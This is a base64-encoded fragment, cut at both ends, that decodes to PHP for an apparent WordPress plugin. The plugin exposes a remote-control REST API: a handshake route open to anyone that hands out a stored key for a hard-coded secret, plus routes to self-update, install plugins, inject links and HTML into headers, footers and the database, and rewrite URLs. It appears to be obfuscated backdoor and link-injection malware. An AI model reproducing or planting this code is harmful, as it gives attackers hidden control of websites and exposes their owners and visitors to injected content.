9PiJzdGVhbHRoIikpO2V4aXQ7fQokbWFwPWFycmF5KAoicGluZyI9PmFycmF5KCJhcGlfcGluZyIsIkdFVCIpLAoic3luYyI9PmFycmF5KCJhcGlfc3luYyIsIkdFVCIpLAoiZCI9PmFycmF5KCJhcGlfZ2QiLCJHRVQiKSwKImRfYWRkIj0+YXJyYXkoImFwaV9hZCIsIlBPU1QiKSwKImRfYnVsayI9PmFycmF5KCJhcGlfYmQiLCJQT1NUIiksCiJkX2ltcG9ydCI9PmFycmF5KCJhcGlfaWQiLCJQT1NUIiksCiJkX3JlbW92ZSI9PmFycmF5KCJhcGlfZHJtIiwiUE9TVCIpLAoiZF9jaGVja19kdXAiPT5hcnJheSgiYXBpX2RkdXAiLCJQT1NUIiksCiJkX3JlcGxhY2UiPT5hcnJheSgiYXBpX2RyZXAiLCJQT1NUIiksCiJiIj0+YXJyYXkoImFwaV9nYiIsIkdFVCIpLAoiYl9hZGQiPT5hcnJheSgiYXBpX2FiIiwiUE9TVCIpLAoicyI9PmFycmF5KCJhcGlfZ3MiLCJHRVQiKSwKInNfc2F2ZSI9PmFycmF5KCJhcGlfc3MiLCJQT1NUIiksCiJsb2ciPT5hcnJheSgiYXBpX2dsIiwiR0VUIiksCiJjaGsiPT5hcnJheSgiYXBpX2NoayIsIkdFVCIpLAoicmsiPT5hcnJheSgiYXBpX3JrIiwiUE9TVCIpLAoidXBkYXRlX3NlbGYiPT5hcnJheSgiYXBpX3VwZCIsIlBPU1QiKSwKInBsdWdpbl9pbnN0YWxsIj0+YXJyYXkoImFwaV9wbGkiLCJQT1NUIiksCiJwYWdlcyI9PmFycmF5KCJhcGlfcGFnZXMiLCJHRVQiKSwKImhvbWVfY29udGVudCI9PmFycmF5KCJhcGlfaGMiLCJHRVQiKSwKImFpX2xvZyI9PmFycmF5KCJhcGlfYWlsb2ciLCJHRVQiKSwKImRiX2luamVjdCI9PmFycmF5KCJhcGlfZGJpbmplY3QiLCJQT1NUIiksCiJkYl91bmluamVjdCI9PmFycmF5KCJhcGlfZGJ1bmluamVjdCIsIlBPU1QiKSwKImRiX3JlcGxhY2VfdXJsIj0+YXJyYXkoImFwaV9kYnJlcGxhY2V1cmwiLCJQT1NUIiksCiJ2ZXJpZnkiPT5hcnJheSgiYXBpX3ZlcmlmeSIsIlBPU1QiKSwKImhhbmRzaGFrZSI9PmFycmF5KCJhcGlfaHMiLCJQT1NUIiksCik7CiRpZHg9LTE7CmlmKHByZWdfbWF0Y2goIi9eKGR8YilfKFxkKykkLyIsJGVwLCRlbSkpeyRpZHg9aW50dmFsKCRlbVsyXSk7JGVwPSRlbVsxXS4iX2l0ZW0iO30KaWYocHJlZ19tYXRjaCgiL15wYWdlX2NvbnRlbnRfKFxkKykkLyIsJGVwLCRlbSkpeyRpZHg9aW50dmFsKCRlbVsxXSk7JGVwPSJwYWdlX2NvbnRlbnQiO30KaWYoJGVwPT09ImRfaXRlbSIpewppZigkbXQ9PT0iUFVUIil7JGZuPSJhcGlfdWQiO31lbHNlaWYoJG10PT09IkRFTEVURSIpeyRmbj0iYXBpX2RkIjt9ZWxzZWlmKCRtdD09PSJQQVRDSCIpeyRmbj0iYXBpX3RkIjt9ZWxzZXtoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbiIsdHJ1ZSw0MDApO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoImVycm9yIj0+ImJhZCBtZXRob2QiKSk7ZXhpdDt9CiRib2R5WyJpIl09JGlkeDsKfWVsc2VpZigkZXA9PT0iYl9pdGVtIil7CmlmKCRtdD09PSJQVVQiKXskZm49ImFwaV91YiI7fWVsc2VpZigkbXQ9PT0iREVMRVRFIil7JGZuPSJhcGlfZGIiO31lbHNlaWYoJG10PT09IlBBVENIIil7JGZuPSJhcGlfdGIiO31lbHNle2hlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uIix0cnVlLDQwMCk7ZWNobyBqc29uX2VuY29kZShhcnJheSgiZXJyb3IiPT4iYmFkIG1ldGhvZCIpKTtleGl0O30KJGJvZHlbImkiXT0kaWR4Owp9ZWxzZWlmKCRlcD09PSJwYWdlX2NvbnRlbnQiKXsKJGZuPSJhcGlfcGdjIjskYm9keVsiaWQiXT0kaWR4Owp9ZWxzZWlmKGlzc2V0KCRtYXBbJGVwXSkpewokbWU9JG1hcFskZXBdOwppZigkbWVbMV09PT0kbXR8fCRtdD09PSJHRVQiKXskZm49JG1lWzBdO30KZWxzZWlmKCRtdD09PSJQT1NUIiYmaXNzZXQoJG1hcFskZXAuIl9hZGQiXSkpeyRmbj0kbWFwWyRlcC4iX2FkZCJdWzBdO30KZWxzZXskZm49JG1lWzBdO30KfWVsc2V7aGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24iLHRydWUsNDA0KTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJlcnJvciI9PiJ1bmtub3duIGVuZHBvaW50IikpO2V4aXQ7fQokcnE9bmV3IFdQX1JFU1RfUmVxdWVzdCgkbXQpOwpmb3JlYWNoKCRib2R5IGFzICRiaz0+JGJ2KXskcnEtPnNldF9wYXJhbSgkYmssJGJ2KTt9CmlmKCFlbXB0eSgkYm9keSkpeyRycS0+c2V0X2JvZHkoanNvbl9lbmNvZGUoJGJvZHkpKTskcnEtPnNldF9oZWFkZXIoImNvbnRlbnQtdHlwZSIsImFwcGxpY2F0aW9uL2pzb24iKTt9CmlmKGlzc2V0KCRib2R5WyJpIl0pKXskcnEtPnNldF9wYXJhbSgiaSIsaW50dmFsKCRib2R5WyJpIl0pKTskdXA9JHJxLT5nZXRfdXJsX3BhcmFtcygpOyR1cFsiaSJdPWludHZhbCgkYm9keVsiaSJdKTskcnEtPnNldF91cmxfcGFyYW1zKCR1cCk7fQppZihpc3NldCgkYm9keVsiaWQiXSkpeyRycS0+c2V0X3BhcmFtKCJpZCIsaW50dmFsKCRib2R5WyJpZCJdKSk7JHVwPSRycS0+Z2V0X3VybF9wYXJhbXMoKTskdXBbImlkIl09aW50dmFsKCRib2R5WyJpZCJdKTskcnEtPnNldF91cmxfcGFyYW1zKCR1cCk7fQokcmVzPSR0aGlzLT4kZm4oJHJxKTsKaWYoJHJlcyBpbnN0YW5jZW9mIFdQX1JFU1RfUmVzcG9uc2Upe2hlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uIix0cnVlLCRyZXMtPmdldF9zdGF0dXMoKSk7ZWNobyBqc29uX2VuY29kZSgkcmVzLT5nZXRfZGF0YSgpKTt9CmVsc2V7aGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24iKTtlY2hvIGpzb25fZW5jb2RlKCRyZXMtPmdldF9kYXRhKCkpO30KZXhpdDsKfQoKcHVibGljIGZ1bmN0aW9uIHJvdXRlcygpewpyZWdpc3Rlcl9yZXN0X3JvdXRlKCR0aGlzLT5ucywiL2hhbmRzaGFrZSIsYXJyYXkoIm1ldGhvZHMiPT4iUE9TVCIsImNhbGxiYWNrIj0+YXJyYXkoJHRoaXMsImFwaV9ocyIpLCJwZXJtaXNzaW9uX2NhbGxiYWNrIj0+Il9fcmV0dXJuX3RydWUiKSk7CnJlZ2lzdGVyX3Jlc3Rfcm91dGUoJHRoaXMtPm5zLCIvcGluZyIsJHRoaXMtPmFyKCJHRVQiLCJhcGlfcGluZyIpKTsKcmVnaXN0ZXJfcmVzdF9yb3V0ZSgkdGhpcy0+bnMsIi9zeW5jIiwkdGhpcy0+YXIoIkdFVCIsImFwaV9zeW5jIikpOwpyZWdpc3Rlcl9yZXN0X3JvdXRlKCR0aGlzLT5ucywiL2QiLGFycmF5KCR0aGlzLT5hcigiR0VUIiwiYXBpX2dkIiksJHRoaXMtPmFyKCJQT1NUIiwiYXBpX2FkIikpKTsKcmVnaXN0ZXJfcmVzdF9yb3V0ZSgkdGhpcy0+bnMsIi9kLyg/UDxpPlxkKykiLGFycmF5KCR0aGlzLT5hcigiUFVUIiwiYXBpX3VkIiksJHRoaXMtPmFyKCJERUxFVEUiLCJhcGlfZGQiKSwkdGhpcy0+YXIoIlBBVENIIiwiYXBpX3RkIikpKTsKcmVnaXN0ZXJfcmVzdF9yb3V0ZSgkdGhpcy0+bnMsIi9kL2J1bGsiLCR0aGlzLT5hcigiUE9TVCIsImFwaV9iZCIpKTsKcmVnaXN0ZXJfcmVzdF9yb3V0ZSgkdGhpcy0+bnMsIi9kL2ltcG9ydCIsJHRoaXMtPmFyKCJQT1NUIiwiYXBpX2lkIikpOwpyZWdpc3Rlcl9yZXN0X3JvdXRlKCR0aGlzLT5ucywiL2IiLGFycmF5KCR0aGlzLT5hcigiR0VUIiwiYXBpX2diIiksJHRoaXMtPmFyKCJQT1NUIiwiYXBpX2FiIikpKTsKcmVnaXN0ZXJfcmVzdF9yb3V0ZSgkdGhpcy0+bnMsIi9iLyg/UDxpPlxkKykiLGFycmF5KCR0aGlzLT5hcigiUFVUIiwiYXBpX3ViIiksJHRoaXMtPmFyKCJERUxFVEUiLCJhcGlfZGIiKSwkdGhpcy0+YXIoIlBBVENIIiwiYXBpX3RiIikpKTsKcmVnaXN0ZXJfcmVzdF9yb3V0ZSgkdGhpcy0+bnMsIi9zIixhcnJheSgkdGhpcy0+YXIoIkdFVCIsImFwaV9ncyIpLCR0aGlzLT5hcigiUE9TVCIsImFwaV9zcyIpKSk7CnJlZ2lzdGVyX3Jlc3Rfcm91dGUoJHRoaXMtPm5zLCIvbG9nIiwkdGhpcy0+YXIoIkdFVCIsImFwaV9nbCIpKTsKcmVnaXN0ZXJfcmVzdF9yb3V0ZSgkdGhpcy0+bnMsIi9jaGsiLCR0aGlzLT5hcigiR0VUIiwiYXBpX2NoayIpKTsKcmVnaXN0ZXJfcmVzdF9yb3V0ZSgkdGhpcy0+bnMsIi9yayIsJHRoaXMtPmFyKCJQT1NUIiwiYXBpX3JrIikpOwpyZWdpc3Rlcl9yZXN0X3JvdXRlKCR0aGlzLT5ucywiL3VwZGF0ZS1zZWxmIiwkdGhpcy0+YXIoIlBPU1QiLCJhcGlfdXBkIikpOwpyZWdpc3Rlcl9yZXN0X3JvdXRlKCR0aGlzLT5ucywiL2QvcmVtb3ZlIiwkdGhpcy0+YXIoIlBPU1QiLCJhcGlfZHJtIikpOwpyZWdpc3Rlcl9yZXN0X3JvdXRlKCR0aGlzLT5ucywiL2QvY2hlY2stZHVwIiwkdGhpcy0+YXIoIlBPU1QiLCJhcGlfZGR1cCIpKTsKcmVnaXN0ZXJfcmVzdF9yb3V0ZSgkdGhpcy0+bnMsIi9kL3JlcGxhY2UiLCR0aGlzLT5hcigiUE9TVCIsImFwaV9kcmVwIikpOwpyZWdpc3Rlcl9yZXN0X3JvdXRlKCR0aGlzLT5ucywiL3BsdWdpbi1pbnN0YWxsIiwkdGhpcy0+YXIoIlBPU1QiLCJhcGlfcGxpIikpOwpyZWdpc3Rlcl9yZXN0X3JvdXRlKCR0aGlzLT5ucywiL3BhZ2VzIiwkdGhpcy0+YXIoIkdFVCIsImFwaV9wYWdlcyIpKTsKcmVnaXN0ZXJfcmVzdF9yb3V0ZSgkdGhpcy0+bnMsIi9wYWdlLWNvbnRlbnQvKD9QPGlkPlxkKykiLCR0aGlzLT5hcigiR0VUIiwiYXBpX3BnYyIpKTsKcmVnaXN0ZXJfcmVzdF9yb3V0ZSgkdGhpcy0+bnMsIi9ob21lLWNvbnRlbnQiLCR0aGlzLT5hcigiR0VUIiwiYXBpX2hjIikpOwpyZWdpc3Rlcl9yZXN0X3JvdXRlKCR0aGlzLT5ucywiL2FpLWxvZyIsJHRoaXMtPmFyKCJHRVQiLCJhcGlfYWlsb2ciKSk7CnJlZ2lzdGVyX3Jlc3Rfcm91dGUoJHRoaXMtPm5zLCIvZGItaW5qZWN0IiwkdGhpcy0+YXIoIlBPU1QiLCJhcGlfZGJpbmplY3QiKSk7CnJlZ2lzdGVyX3Jlc3Rfcm91dGUoJHRoaXMtPm5zLCIvZGItdW5pbmplY3QiLCR0aGlzLT5hcigiUE9TVCIsImFwaV9kYnVuaW5qZWN0IikpOwpyZWdpc3Rlcl9yZXN0X3JvdXRlKCR0aGlzLT5ucywiL2RiLXJlcGxhY2UtdXJsIiwkdGhpcy0+YXIoIlBPU1QiLCJhcGlfZGJyZXBsYWNldXJsIikpOwpyZWdpc3Rlcl9yZXN0X3JvdXRlKCR0aGlzLT5ucywiL3ZlcmlmeSIsJHRoaXMtPmFyKCJQT1NUIiwiYXBpX3ZlcmlmeSIpKTsKfQoKcHVibGljIGZ1bmN0aW9uIGFwaV9ocygkcil7CiRzZWM9JHItPmdldF9wYXJhbSgic2VjcmV0Iik7CmlmKCEkc2VjKXskcD0kci0+Z2V0X2pzb25fcGFyYW1zKCk7JHNlYz1pc3NldCgkcFsic2VjcmV0Il0pPyRwWyJzZWNyZXQiXToiIjt9CmlmKCEkc2VjfHwkc2VjIT09Ilg5dm1LMnpwTDduUTR3UjhqVDViWTFjRjZoQTNkRzBlVTIwMjV4S3AiKXtyZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoYXJyYXkoImVycm9yIj0+ImRlbmllZCIpLDQwMyk7fQoka2V5PWdldF9vcHRpb24oIl93cG9jX2FrIik7CiR0aGlzLT53bCgiaHMiLCJkb25lIik7CnJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShhcnJheSgia2V5Ij0+JGtleSwic2l0ZSI9PmhvbWVfdXJsKCksIm5hbWUiPT5nZXRfYmxvZ2luZm8oIm5hbWUiKSwid3AiPT5nZXRfYmxvZ2luZm8oInZlcnNpb24iKSkpOwp9CgpwdWJsaWMgZnVuY3Rpb24gYXBpX3BpbmcoKXsKcmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJvayI9PjEsInYiPT4iOC4wIiwicyI9PmhvbWVfdXJsKCksIm4iPT5nZXRfYmxvZ2luZm8oIm5hbWUiKSwid3AiPT5nZXRfYmxvZ2luZm8oInZlcnNpb24iKSwicCI9PnBocHZlcnNpb24oKSwiZGMiPT5jb3VudCgkdGhpcy0+Z2QoIl93cG9jX2QiKSksImJjIj0+Y291bnQoJHRoaXMtPmdkKCJfd3BvY19iIikpLCJ0Ij0+Y3VycmVudF90aW1lKCJjIikpKTsKfQoKcHVibGljIGZ1bmN0aW9uIGFwaV9zeW5jKCl7CndwX2NhY2hlX2ZsdXNoKCk7CiRhdj1kZWZpbmVkKCJfV1BPQ19WRVIiKT9fV1BPQ19WRVI6IjAiOwpyZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXkoIm9rIj0+MSwicGluZyI9PmFycmF5KCJ2Ij0+JGF2LCJzIj0+aG9tZV91cmwoKSwibiI9PmdldF9ibG9naW5mbygibmFtZSIpLCJ3cCI9PmdldF9ibG9naW5mbygidmVyc2lvbiIpLCJwIj0+cGhwdmVyc2lvbigpLCJkYyI9PmNvdW50KCR0aGlzLT5nZCgiX3dwb2NfZCIpKSwiYmMiPT5jb3VudCgkdGhpcy0+Z2QoIl93cG9jX2IiKSksInQiPT5jdXJyZW50X3RpbWUoImMiKSksImxpbmtzIj0+JHRoaXMtPmdkKCJfd3BvY19kIiksImJsb2NrcyI9PiR0aGlzLT5nZCgiX3dwb2NfYiIpLCJzZXR0aW5ncyI9PiR0aGlzLT5nZCgiX3dwb2NfcyIpKSk7Cn0KCnByaXZhdGUgZnVuY3Rpb24gc2woJGQpewokcGw9aXNzZXQoJGRbInBsIl0pPyRkWyJwbCJdOiJhbGwiO2lmKCRwbCE9PSJhbGwiJiYkcGwhPT0iaG9tZSIpeyRwbD0iYWxsIjt9CiR0Zz1pc3NldCgkZFsidGciXSk/JGRbInRnIl06Il9zZWxmIjtpZigkdGchPT0iX2JsYW5rIil7JHRnPSJfc2VsZiI7fQpyZXR1cm4gYXJyYXkoImEiPT5zYW5pdGl6ZV90ZXh0X2ZpZWxkKGlzc2V0KCRkWyJhIl0pPyRkWyJhIl06IiIpLCJ1Ij0+ZXNjX3VybF9yYXcoaXNzZXQoJGRbInUiXSk/JGRbInUiXToiIiksInR0Ij0+c2FuaXRpemVfdGV4dF9maWVsZChpc3NldCgkZFsidHQiXSk/JGRbInR0Il06IiIpLCJ0ZyI9PiR0ZywicGwiPT4kcGwsImciPT5zYW5pdGl6ZV90ZXh0X2ZpZWxkKGlzc2V0KCRkWyJnIl0pPyRkWyJnIl06IiIpLCJzbyI9PnNhbml0aXplX3RleHRfZmllbGQoaXNzZXQoJGRbInNvIl0pPyRkWyJzbyJdOiIiKSwic2YiPT5zYW5pdGl6ZV90ZXh0X2ZpZWxkKGlzc2V0KCRkWyJzZiJdKT8kZFsic2YiXToiIikpOwp9CgpwdWJsaWMgZnVuY3Rpb24gYXBpX2dkKCl7cmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKCR0aGlzLT5nZCgiX3dwb2NfZCIpKTt9CgpwdWJsaWMgZnVuY3Rpb24gYXBpX2FkKCRyKXsKJGl0ZW1zPSR0aGlzLT5nZCgiX3dwb2NfZCIpOyRkPSR0aGlzLT5zbCgkci0+Z2V0X2pzb25fcGFyYW1zKCkpOwpmb3JlYWNoKCRpdGVtcyBhcyAkZXgpe2lmKCRleFsidSJdPT09JGRbInUiXSYmJGV4WyJhIl09PT0kZFsiYSJdKXtyZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoYXJyYXkoImVycm9yIj0+ImR1cCIpLDQwOSk7fX0KJGRbImlkIl09dW5pcWlkKCJkIik7JGRbImMiXT1jdXJyZW50X3RpbWUoIlktbS1kIEg6aTpzIik7JGRbIm9uIl09MTsKJGl0ZW1zW109JGQ7JHRoaXMtPnNkKCJfd3BvY19kIiwkaXRlbXMpOyR0aGlzLT53bCgiYWRkIiwkZFsiYSJdKTsKcmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJvayI9PjEsImQiPT4kaXRlbXMpKTsKfQoKcHVibGljIGZ1bmN0aW9uIGFwaV91ZCgkcil7CiRpPWludHZhbCgkclsiaSJdKTskaXRlbXM9JHRoaXMtPmdkKCJfd3BvY19kIik7CmlmKCFpc3NldCgkaXRlbXNbJGldKSl7cmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCJlcnJvciI9PiJuZiIpLDQwNCk7fQokZD0kdGhpcy0+c2woJHItPmdldF9qc29uX3BhcmFtcygpKTskZFsiaWQiXT1pc3NldCgkaXRlbXNbJGldWyJpZCJdKT8kaXRlbXNbJGldWyJpZCJdOnVuaXFpZCgiZCIpOyRkWyJjIl09JGl0ZW1zWyRpXVsiYyJdOyRkWyJvbiJdPSRpdGVtc1skaV1bIm9uIl07CiRpdGVtc1skaV09JGQ7JHRoaXMtPnNkKCJfd3BvY19kIiwkaXRlbXMpOyR0aGlzLT53bCgidXBkIiwiIyIuJGkpOwpyZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXkoIm9rIj0+MSwiZCI9PiRpdGVtcykpOwp9CgpwdWJsaWMgZnVuY3Rpb24gYXBpX2RkKCRyKXsKJGk9aW50dmFsKCRyWyJpIl0pOyRpdGVtcz0kdGhpcy0+Z2QoIl93cG9jX2QiKTsKaWYoIWlzc2V0KCRpdGVtc1skaV0pKXtyZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoYXJyYXkoImVycm9yIj0+Im5mIiksNDA0KTt9CiRybT0kaXRlbXNbJGldO2FycmF5X3NwbGljZSgkaXRlbXMsJGksMSk7JHRoaXMtPnNkKCJfd3BvY19kIiwkaXRlbXMpOyR0aGlzLT53bCgiZGVsIixpc3NldCgkcm1bImEiXSk/JHJtWyJhIl06IiIpOwpyZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXkoIm9rIj0+MSwiZCI9PiRpdGVtcykpOwp9CgpwdWJsaWMgZnVuY3Rpb24gYXBpX3RkKCRyKXsKJGk9aW50dmFsKCRyWyJpIl0pOyRpdGVtcz0kdGhpcy0+Z2QoIl93cG9jX2QiKTsKaWYoIWlzc2V0KCRpdGVtc1skaV0pKXtyZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoYXJyYXkoImVycm9yIj0+Im5mIiksNDA0KTt9CiRpdGVtc1skaV1bIm9uIl09ZW1wdHkoJGl0ZW1zWyRpXVsib24iXSk/MTowOyR0aGlzLT5zZCgiX3dwb2NfZCIsJGl0ZW1zKTskdGhpcy0+d2woInRnbCIsIiMiLiRpKTsKcmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJvayI9PjEsImQiPT4kaXRlbXMpKTsKfQoKcHVibGljIGZ1bmN0aW9uIGFwaV9iZCgkcil7CiRwPSRyLT5nZXRfanNvbl9wYXJhbXMoKTskYWN0PWlzc2V0KCRwWyJhY3Rpb24iXSk/JHBbImFjdGlvbiJdOiIiOyRpZHg9aXNzZXQoJHBbImluZGljZXMiXSk/JHBbImluZGljZXMiXTphcnJheSgpOwokaXRlbXM9JHRoaXMtPmdkKCJfd3BvY19kIik7cnNvcnQoJGlkeCk7CmZvcmVhY2goJGlkeCBhcyAkaSl7aWYoIWlzc2V0KCRpdGVtc1skaV0pKXtjb250aW51ZTt9aWYoJGFjdD09PSJkZWxldGUiKXthcnJheV9zcGxpY2UoJGl0ZW1zLCRpLDEpO31lbHNlaWYoJGFjdD09PSJlbmFibGUiKXskaXRlbXNbJGldWyJvbiJdPTE7fWVsc2VpZigkYWN0PT09ImRpc2FibGUiKXskaXRlbXNbJGldWyJvbiJdPTA7fX0KJHRoaXMtPnNkKCJfd3BvY19kIiwkaXRlbXMpOyR0aGlzLT53bCgiYnVsa18iLiRhY3QsY291bnQoJGlkeCkpOwpyZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXkoIm9rIj0+MSwiZCI9PiRpdGVtcykpOwp9CgpwdWJsaWMgZnVuY3Rpb24gYXBpX2lkKCRyKXsKJHA9JHItPmdldF9qc29uX3BhcmFtcygpOyRpbXA9aXNzZXQoJHBbIml0ZW1zIl0pPyRwWyJpdGVtcyJdOmFycmF5KCk7JGl0ZW1zPSR0aGlzLT5nZCgiX3dwb2NfZCIpOyRhYz0wOyRzaz0wOwpmb3JlYWNoKCRpbXAgYXMgJGl0KXskZD0kdGhpcy0+c2woJGl0KTskZHVwPWZhbHNlO2ZvcmVhY2goJGl0ZW1zIGFzICRleCl7aWYoJGV4WyJ1Il09PT0kZFsidSJdJiYkZXhbImEiXT09PSRkWyJhIl0peyRkdXA9dHJ1ZTticmVhazt9fWlmKCRkdXApeyRzaysrO2NvbnRpbnVlO30kZFsiaWQiXT11bmlxaWQoImQiKTskZFsiYyJdPWN1cnJlbnRfdGltZSgiWS1tLWQgSDppOnMiKTskZFsib24iXT1pc3NldCgkaXRbIm9uIl0pPyRpdFsib24iXToxOyRpdGVtc1tdPSRkOyRhYysrO30KJHRoaXMtPnNkKCJfd3BvY19kIiwkaXRlbXMpOyR0aGlzLT53bCgiaW1wIiwiYT0iLiRhYy4iLHM9Ii4kc2spOwpyZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXkoIm9rIj0+MSwiYWMiPT4kYWMsInNrIj0+JHNrLCJkIj0+JGl0ZW1zKSk7Cn0KCnByaXZhdGUgZnVuY3Rpb24gc2IoJGQpewokcG9zPWFycmF5KCJoZWFkZXIiLCJmb290ZXIiLCJib2R5X29wZW4iLCJiZWZvcmVfY29udGVudCIsImFmdGVyX2NvbnRlbnQiLCJjb250ZW50X2luamVjdCIsImRiX2luamVjdCIpOwokcG89aXNzZXQoJGRbInBvIl0pPyRkWyJwbyJdOiJmb290ZXIiO2lmKCFpbl9hcnJheSgkcG8sJHBvcykpeyRwbz0iZm9vdGVyIjt9CiRwbD1pc3NldCgkZFsicGwiXSk/JGRbInBsIl06ImFsbCI7aWYoJHBsIT09ImFsbCImJiRwbCE9PSJob21lIiYmc3RycG9zKCRwbCwicGFnZToiKSE9PTApeyRwbD0iYWxsIjt9CnJldHVybiBhcnJheSgibm0iPT5zYW5pdGl6ZV90ZXh0X2ZpZWxkKGlzc2V0KCRkWyJubSJdKT8kZFsibm0iXToiIiksImgiPT53cF91bnNsYXNoKGlzc2V0KCRkWyJoIl0pPyRkWyJoIl06IiIpLCJwbyI9PiRwbywicGwiPT4kcGwpOwp9CgpwdWJsaWMgZnVuY3Rpb24gYXBpX2diKCl7cmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKCR0aGlzLT5nZCgiX3dwb2NfYiIpKTt9CgpwdWJsaWMgZnVuY3Rpb24gYXBpX2FiKCRyKXsKJGl0ZW1zPSR0aGlzLT5nZCgiX3dwb2NfYiIpOyRkPSR0aGlzLT5zYigkci0+Z2V0X2pzb25fcGFyYW1zKCkpOwpmb3JlYWNoKCRpdGVtcyBhcyAkZXgpe2lmKGlzc2V0KCRleFsibm0iXSkmJiRleFsibm0iXT09PSRkWyJubSJdKXtyZXR1cm4gcmVzdF9lbnN1cmVfcmVzcG9uc2UoYXJyYXkoIm9rIj0+MSwiYiI9PiRpdGVtcywiZHVwIj0+MSkpO319CiRkWyJpZCJdPXVuaXFpZCgiYiIpOyRkWyJjIl09Y3VycmVudF90aW1lKCJZLW0tZCBIOmk6cyIpOyRkWyJvbiJdPTE7CiRpdGVtc1tdPSRkOyR0aGlzLT5zZCgiX3dwb2NfYiIsJGl0ZW1zKTskdGhpcy0+d2woImJfYWRkIiwkZFsibm0iXSk7CiR0aGlzLT5jaV9sb2coIltibG9ja19hZGRdIG5tPSIuJGRbIm5tIl0uIiBwbz0iLiRkWyJwbyJdLiIgcGw9Ii4kZFsicGwiXS4iIGh0bWw9Ii5zdHJsZW4oJGRbImgiXSkuImIgdG90YWw9Ii5jb3VudCgkaXRlbXMpKTsKcmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJvayI9PjEsImIiPT4kaXRlbXMpKTsKfQoKcHVibGljIGZ1bmN0aW9uIGFwaV91Yigkcil7CiRpPWludHZhbCgkclsiaSJdKTskaXRlbXM9JHRoaXMtPmdkKCJfd3BvY19iIik7aWYoIWlzc2V0KCRpdGVtc1skaV0pKXtyZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoYXJyYXkoImVycm9yIj0+Im5mIiksNDA0KTt9CiRkPSR0aGlzLT5zYigkci0+Z2V0X2pzb25fcGFyYW1zKCkpOyRkWyJpZCJdPWlzc2V0KCRpdGVtc1skaV1bImlkIl0pPyRpdGVtc1skaV1bImlkIl06dW5pcWlkKCJiIik7JGRbImMiXT0kaXRlbXNbJGldWyJjIl07JGRbIm9uIl09JGl0ZW1zWyRpXVsib24iXTsKJGl0ZW1zWyRpXT0kZDskdGhpcy0+c2QoIl93cG9jX2IiLCRpdGVtcyk7JHRoaXMtPndsKCJiX3VwZCIsIiMiLiRpKTsKcmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJvayI9PjEsImIiPT4kaXRlbXMpKTsKfQoKcHVibGljIGZ1bmN0aW9uIGFwaV9kYigkcil7CiRpPWludHZhbCgkclsiaSJdKTskaXRlbXM9JHRoaXMtPmdkKCJfd3BvY19iIik7aWYoIWlzc2V0KCRpdGVtc1skaV0pKXtyZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoYXJyYXkoImVycm9yIj0+Im5mIiksNDA0KTt9CmFycmF5X3NwbGljZSgkaXRlbXMsJGksMSk7Cmdsb2JhbCAkd3BkYjskd3BkYi0+dXBkYXRlKCR3cGRiLT5vcHRpb25zLGFycmF5KCJvcHRpb25fdmFsdWUiPT5tYXliZV9zZXJpYWxpemUoJGl0ZW1zKSksYXJyYXkoIm9wdGlvbl9uYW1lIj0+Il93cG9jX2IiKSk7CndwX2NhY2hlX2ZsdXNoKCk7CiR0aGlzLT53bCgiYl9kZWwiLCIjIi4kaSk7CnJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShhcnJheSgib2siPT4xLCJiIj0+JGl0ZW1zKSk7Cn0KCnB1YmxpYyBmdW5jdGlvbiBhcGlfdGIoJHIpewokaT1pbnR2YWwoJHJbImkiXSk7JGl0ZW1zPSR0aGlzLT5nZCgiX3dwb2NfYiIpO2lmKCFpc3NldCgkaXRlbXNbJGldKSl7cmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCJlcnJvciI9PiJuZiIpLDQwNCk7fQokaXRlbXNbJGldWyJvbiJdPWVtcHR5KCRpdGVtc1skaV1bIm9uIl0pPzE6MDskdGhpcy0+c2QoIl93cG9jX2IiLCRpdGVtcyk7JHRoaXMtPndsKCJiX3RnbCIsIiMiLiRpKTsKcmV0dXJuIHJlc3RfZW5zdXJlX3Jlc3BvbnNlKGFycmF5KCJvayI9PjEsImIiPT4kaXRlbXMpKTsKfQoKcHVibGljIGZ1bmN0aW9uIGFwaV9ncygpe3JldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZSgkdGhpcy0+cygpKTt9CgpwdWJsaWMgZnVuY3Rpb24gYXBpX3NzKCRyKXsKJHA9JHItPmdldF9qc29uX3BhcmFtcygpOwokcz1hcnJheSgibHMiPT5zYW5pdGl6ZV90ZXh0X2ZpZWxkKGlzc2V0KCRwWyJscyJdKT8kcFsibHMiXToiIHwgIiksImZzIj0+aW50dmFsKGlzc2V0KCRwWyJmcyJdKT8kcFsiZnMiXToxMyksImZjIj0+c2FuaXRpemVfaGV4X2NvbG9yKGlzc2V0KCRwWyJ